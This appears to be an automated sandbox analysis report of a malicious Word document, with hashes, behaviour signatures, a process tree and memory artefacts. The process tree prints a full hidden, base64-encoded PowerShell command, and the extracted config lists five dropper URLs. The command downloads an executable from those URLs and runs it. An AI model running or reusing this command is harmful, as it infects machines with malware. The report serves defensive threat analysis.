Analysis

  • max time kernel
    121s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    13-11-2024 10:26

General

  • Target

    4b787f331020503e221857993bbd9f9d28e191be1191bd445c309e84a16137e8.doc

  • Size

    182KB

  • MD5

    48b8c5a3db4c25258c2ba437114592ab

  • SHA1

    6b32eef802297c60c887a02b94c4deab93c367b7

  • SHA256

    4b787f331020503e221857993bbd9f9d28e191be1191bd445c309e84a16137e8

  • SHA512

    5f17a24f7a27c7c73a77defafebc803c7b93a0362c8fc894bbd249862d21d003a45fd2ca1375cdb58a5c53d57f39ce77d78affda70ea2362ccbe6bfc4dc56460

  • SSDEEP

    3072:9Nm2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7F:9Nm2k4PF7tGiL3HJk9rD7bdasiv86J

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4b787f331020503e221857993bbd9f9d28e191be1191bd445c309e84a16137e8.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2856
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2860
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2672

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6BBEA473.wmf

      Filesize

      444B

      MD5

      727c5711dc6bde7610c73dde1cda2f84

      SHA1

      e7d21d5ec5da7dc282bcfd1fafbc12b142aba5d0

      SHA256

      d938a655656866006674e998b375fe0b286d7599a7c1b0ac631667817651837b

      SHA512

      0120d1a00de9cb5a01dbff643f8a25489aa36992b76d1410bd688f8b8704dbf81f85b6023f426051854def497f6d94a7afe13262401f10d3a2acf61c8c8ad2da

    • memory/2672-32-0x0000000002420000-0x0000000002428000-memory.dmp

      Filesize

      32KB

    • memory/2672-31-0x000000001B0B0000-0x000000001B392000-memory.dmp

      Filesize

      2.9MB

    • memory/2856-14-0x00000000062E0000-0x00000000063E0000-memory.dmp

      Filesize

      1024KB

    • memory/2856-23-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB

    • memory/2856-0-0x000000002FE81000-0x000000002FE82000-memory.dmp

      Filesize

      4KB

    • memory/2856-18-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB

    • memory/2856-17-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB

    • memory/2856-22-0x00000000062E0000-0x00000000063E0000-memory.dmp

      Filesize

      1024KB

    • memory/2856-21-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB

    • memory/2856-20-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB

    • memory/2856-19-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB

    • memory/2856-5-0x00000000065F0000-0x00000000066F0000-memory.dmp

      Filesize

      1024KB

    • memory/2856-25-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB

    • memory/2856-2-0x0000000073FDD000-0x0000000073FE8000-memory.dmp

      Filesize

      44KB

    • memory/2856-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2856-35-0x0000000073FDD000-0x0000000073FE8000-memory.dmp

      Filesize

      44KB

    • memory/2856-36-0x00000000065F0000-0x00000000066F0000-memory.dmp

      Filesize

      1024KB

    • memory/2856-37-0x00000000062E0000-0x00000000063E0000-memory.dmp

      Filesize

      1024KB

    • memory/2856-38-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB

    • memory/2856-39-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB